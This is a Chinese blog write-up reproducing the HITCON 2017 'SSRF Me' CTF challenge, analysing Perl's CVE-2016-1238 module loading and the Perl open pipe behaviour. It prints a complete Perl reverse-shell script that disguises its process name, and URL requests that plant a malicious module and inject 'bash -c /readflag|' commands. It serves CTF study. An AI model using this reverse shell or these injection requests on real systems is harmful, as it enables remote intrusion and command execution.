美文网首页CTFWriteupCTF
[hitcon2017] SSRF Me复现

[hitcon2017] SSRF Me复现

作者: Pr0ph3t | 来源:发表于2018-01-14 02:04 被阅读276次

分享本题自制Dockerfile:Github

题目给出了源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

分析源码, 可以得到程序的流程是这样的:

  1. 和前面两题一样,基于ip创建沙箱文件夹
  2. 将传入的URL带入命令GET执行 --- GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求
  3. 解析传入的filename参数
  4. 获取传入filename的最后一级文件夹(若获取不为空)并创建
    (没有实际做这道题, 但是猜测sandbox文件夹里面的php并不会被解析)

以下参考了moxiaoxi师傅和rr师傅的博客:
moxiaoxi师傅:http://momomoxiaoxi.com/2017/11/08/HITCON/
rr师傅:https://ricterz.me/posts/HITCON%202017%20SSRFme

学习了大师傅们的思路之后综合,这题有两个思路

  • 第一个是perl5的CVE-2016-1238 (截止至官方wp出来的时候Orange大佬说Ubuntu 17.04 in AWS最新版本还未被修复),当解析遇到了非定义的协议(定义的协议在perl5/LWP/Protocol文件夹下可以看到, 默认支持GHTTP、cpan、data、file、ftp、gopher、http、https、loopback、mailto、nntp、nogo协议)时, 如 pr0ph3t://pr0ph3t.com, 会自动读取当前目录下的URI目录并查看是否有对应协议的pm模块并尝试eval "require xxx" 这里我们的恶意pm模块就会被执行, 具体漏洞代码在perl5/URI.pm下的136行:
sub implementor
{
    my($scheme, $impclass) = @_;
    if (!$scheme || $scheme !~ /\A$scheme_re\z/o) {
    require URI::_generic;
    return "URI::_generic";
    }

    $scheme = lc($scheme);

    if ($impclass) {
    # Set the implementor class for a given scheme
        my $old = $implements{$scheme};
        $impclass->_init_implementor($scheme);
        $implements{$scheme} = $impclass;
        return $old;
    }

    my $ic = $implements{$scheme};
    return $ic if $ic;

    # scheme not yet known, look for internal or
    # preloaded (with 'use') implementation
    $ic = "URI::$scheme";  # default location

    # turn scheme into a valid perl identifier by a simple transformation...
    $ic =~ s/\+/_P/g;
    $ic =~ s/\./_O/g;
    $ic =~ s/\-/_/g;

    no strict 'refs';
    # check we actually have one for the scheme:
    unless (@{"${ic}::ISA"}) {
        if (not exists $require_attempted{$ic}) {
            # Try to load it
            my $_old_error = $@;
           ###################################
            eval "require $ic"; #尝试包含并执行
           ###################################
            die $@ if $@ && $@ !~ /Can\'t locate.*in \@INC/;
            $@ = $_old_error;
        }
        return undef unless @{"${ic}::ISA"};
    }

    $ic->_init_implementor($scheme);
    $implements{$scheme} = $ic;
    $ic;
}

所以找一个perl反弹shell的程序放好在自己的VPS上, 代码:

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 12345;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();    
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

然后请求/?url=自己的vps的perl后门路径&filename=URI/pr0ph3t.pm
在沙箱文件夹的URI目录下写入反弹shell的pm文件
最后监听某个端口后请求/?url=pr0ph3t://pr0ph3t.com&filename=xxx即可收到shell

shell
  • 第二个是perl的open命令有可能会导致命令执行

https://mailman.linuxchix.org/pipermail/courses/2003-September/001344.html

Executing Programs with "open"

In addition to what we saw last week, the "open" command has one more very
powerful application: it allows you to execute a command, send input and
receive output.

Try this program (it only works on Unix):

#!/usr/bin/perl -w
  use strict;

  open DATA, "who |"   or die "Couldn't execute program: $!";
  while ( defined( my $line = <DATA> )  ) {
    chomp($line);
    print "$line\n";
  }
  close DATA;

Here's what happened: Perl saw that your "file" ended with a "pipe" (vertical
bar) character. So it interpreted the "file" as a command to be executed, and
interpreted the command's output as the "file"'s contents. The command is
"who" (which prints information on currently logged-in users). If you execute
that command, you will see that the output is exactly what the Perl program
gave you.

In this case, we "read" data from the command. To execute a command that we can
"write" (send data) to, we should place a pipe character BEFORE the command.
These options are mutually exclusive: we can read from a command or write to
it, but not both.

In the Unix world, a lot can be done by piping the output of one program into
the input of another. Perl continues this spirit.

Note that we can also send command-line parameters to the command, like this:

open DATA, "who -H |"    or die "Couldn't execute program: $!";

In fact, Perl allows you to use "open" to do pretty much anything you would
normally do on the command-line, as this example demonstrates:

  open OUTPUT, "| grep 'foo' > result.txt"     or die "Failure: $!";

We can then write whatever we want to the "OUTPUT" filehandle. The Unix "grep"
command will filter out any text which doesn't contain the text "foo"; any text
which DOES contain "foo" will be written to "result.txt".

cmd execute

‘feature’代码在处理file协议的perl5/LWP/Protocol/file.pm的130行,如下:

...
#第47行
    # test file exists and is readable
    unless (-e $path) {
    return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
                  "File `$path' does not exist");
    }
    unless (-r _) {
    return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
                  'User does not have read permission');
    }
...
#第127行
    # read the file
    if ($method ne "HEAD") {
    open(F, $path) or return new
        HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
               "Cannot read file '$path': $!");
    binmode(F);
    $response =  $self->collect($arg, $response, sub {
        my $content = "";
        my $bytes = sysread(F, $content, $size);
        return \$content if $bytes > 0;
        return \ "";
    });
    close(F);
    }
...

首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件, 所以先请求
/?url=file:bash -c /readflag|&filename=bash -c /readflag| 创建相应的同名文件
/?url=file:bash -c /readflag|&filename=123 利用open的feature执行代码
最后直接访问/sandbox/哈希值/123就能得到flag

(安利一个文本查找工具https://blog.lilydjwg.me/tag/AG)

参考:
https://github.com/orangetw/My-CTF-Web-Challenges
http://momomoxiaoxi.com/2017/11/08/HITCON/
https://ricterz.me/posts/HITCON%202017%20SSRFme

相关文章

  • [hitcon2017] SSRF Me复现

    分享本题自制Dockerfile:Github 题目给出了源码: 分析源码, 可以得到程序的流程是这样的: 和前面...

  • De1CTF 2019-WEB-SSRF Me

    复现地址:https://buuoj.cn/challenges#[De1CTF%202019]SSRF%20Me...

  • Weblogic SSRF 漏洞复现

    关于SSRF漏洞的原理以及利用已经记录过了,可以访问https://www.jianshu.com/p/6bf77...

  • SUCTF复盘

    当时没好好打,现在把环境复现一下对着wp撸一发。 WEB annonymous 这题原思路是HITCON2017的...

  • [hitcon2017] BabyFirst Revenge复现

    hitcon的题好难啊!!!!!还是太菜了。。Orz只能够赛后搭环境复现了。。分享本题自制Dockerfile:G...

  • HITCON2017 babyfirst-revenge&Ba

    HITCON2017的题好难,同时对linux一无所知,这里复现哈,而且这里主要参考wp进行慢慢理解题目,学到了好...

  • vulhub Weblogic SSRF漏洞 复现

    环境和介绍请到Vulhub查看 假装自己在闲逛,发现了一个网址http://10.20.7.7好的先来一个全端口扫...

  • Weblogic-SSRF漏洞复现

    0x00简介 WebLogic是美国Oracle公司出品的一个application server确切的说是一个基...

  • SSRF漏洞利用

    前言 之前自己搭建ssrf漏洞的时候,只是简单复现。现在突然发现可以继续深入一下,算是对之前的补充吧。 回顾 参考...

  • [hitcon2017] Sql-so-hard 复现

    最近实在是太多事情了Orz,所以没有及时更新复现。。(其实是偷懒 分享本题自制Dockerfile:Github ...

网友评论

  • 之幽灵:请问大佬,我在本地linux上搭建的环境,为何无法运行 bash -c /readflag 命令 ,本机也有readflag文件。 bash -c 后面加的参数不是命令就会出错,无法运行。
    Pr0ph3t:@之幽灵 readflag是一个可执行文件 用来读取flag的
    之幽灵:@Pr0ph3t 我看到您上穿到github上的docker了,我现在不明白,这个bash -c /readflag 这个 /readflag 是存有flag的一个文件吗? 还是一个文件夹。
    Pr0ph3t:尝试一下docker吧, 自己搭环境难免会有一点差别Orz
    https://github.com/Pr0phet/hitconDockerfile/tree/master/hitcon-ctf-2017/ssrfme
  • Black_Sun:可以啊,佩服佩服,一道接一道的做
    Pr0ph3t:@Black_Sun Orz比赛不会做只能赛后啃wp了....

本文标题:[hitcon2017] SSRF Me复现

本文链接:https://www.haomeiwen.com/subject/zndnnxtx.html